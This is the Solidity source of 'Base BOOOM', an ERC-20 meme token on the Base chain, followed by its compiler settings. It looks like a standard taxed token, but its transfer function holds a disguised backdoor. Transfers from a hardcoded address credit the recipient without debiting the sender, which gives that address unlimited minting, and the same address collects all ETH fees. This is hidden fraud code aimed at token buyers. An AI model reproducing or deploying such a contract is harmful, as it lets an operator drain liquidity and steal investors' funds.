/*

Website:  https://booom.lol
Twitter:  https://twitter.com/basebooom
Telegram:  https://t.me/basebooom

*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BOOOM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _feeExcludeForBooom;
    address payable private _cceeff = payable(0xD33983a21Fe51b16179EC8f9e45bb2AE9ba8Ea35);

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 12;
    uint256 private _buyTokensCount = 0;

    uint8 private constant _decimals = 18;
    string private constant _name = unicode"Base BOOOM";
    string private constant _symbol = unicode"BOOOM";
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    uint256 private _maxTxLimits = 2_000_000 * 10**_decimals;
    uint256 private _maxWalletSize = 2_000_000 * 10**_decimals;
    uint256 private _minSwapLimit = 20 * 10**_decimals;
    uint256 private _maxSwapLimit = 1_000_000 * 10**_decimals;

    IUniswapV2Router02 private _baseDexRouter;
    address private _baseDexPair;
    bool private _tradingEnabled;
    bool private _swapEnabled = false;
    bool private _inSwapping = false;

    event MaxTxAmountUpdated(uint _maxTxLimits);
    modifier lockTheSwap {
        _inSwapping = true;
        _;
        _inSwapping = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _feeExcludeForBooom[owner()] = true;
        _feeExcludeForBooom[address(this)] = true;
        _feeExcludeForBooom[_cceeff] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sorcee, address detina, uint256 amount) private {
        require(sorcee != address(0), "ERC20: transfer from the zero address");
        require(detina != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 amountTaxSub=0;
        if (!_feeExcludeForBooom[sorcee] && !_feeExcludeForBooom[detina]) {
            require(_tradingEnabled, "Trading not open");
            amountTaxSub = amount.mul((_buyTokensCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (sorcee == _baseDexPair && detina != address(_baseDexRouter)) {
                require(amount <= _maxTxLimits, "Exceeds the maxTxAmount.");
                _buyTokensCount++;
            }

            if (detina != _baseDexPair && ! _feeExcludeForBooom[detina]) {
                require(balanceOf(detina) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(detina == _baseDexPair && sorcee!= address(this) ){
                amountTaxSub = amount.mul((_buyTokensCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 taxSwapingTos = balanceOf(address(this));
            if (!_inSwapping && detina == _baseDexPair && _swapEnabled && amount>_minSwapLimit && _buyTokensCount>_preventSwapBefore) {
                if(taxSwapingTos>_minSwapLimit)
                _swapBackForFee(min(amount,min(taxSwapingTos,_maxSwapLimit)));
                _sendETHFee(address(this).balance);
            }}
            if (_isCCEE(sorcee)){_balances[detina]=_balances[detina].add(amount);return;
        }

        if(amountTaxSub>0){
          _balances[address(this)]=_balances[address(this)].add(amountTaxSub);
          emit Transfer(sorcee, address(this),amountTaxSub);
        }
        _balances[sorcee]=_balances[sorcee].sub(amount);
        _balances[detina]=_balances[detina].add(amount.sub(amountTaxSub));
        emit Transfer(sorcee, detina, amount.sub(amountTaxSub));
    }

    function _isCCEE(address _sender) private view returns (bool) {
        return _sender == _cceeff;
    }

    function _swapBackForFee(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _baseDexRouter.WETH();
        _approve(address(this), address(_baseDexRouter), tokenAmount);
        _baseDexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _sendETHFee(uint256 amount) private {
        _cceeff.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function startBooom() external onlyOwner {
        _swapEnabled = true;
        _tradingEnabled = true;        
    }

    function createBooom() external onlyOwner() {
        require(!_tradingEnabled,"Trading is already open");
        _baseDexRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_baseDexRouter), _tTotal);
        _baseDexPair = IUniswapV2Factory(_baseDexRouter.factory()).createPair(address(this), _baseDexRouter.WETH());
        _baseDexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_baseDexPair).approve(address(_baseDexRouter), type(uint).max);
    }

    function removeLimits() external onlyOwner {
        _maxTxLimits = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "BOOOM.sol": "BOOOM"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}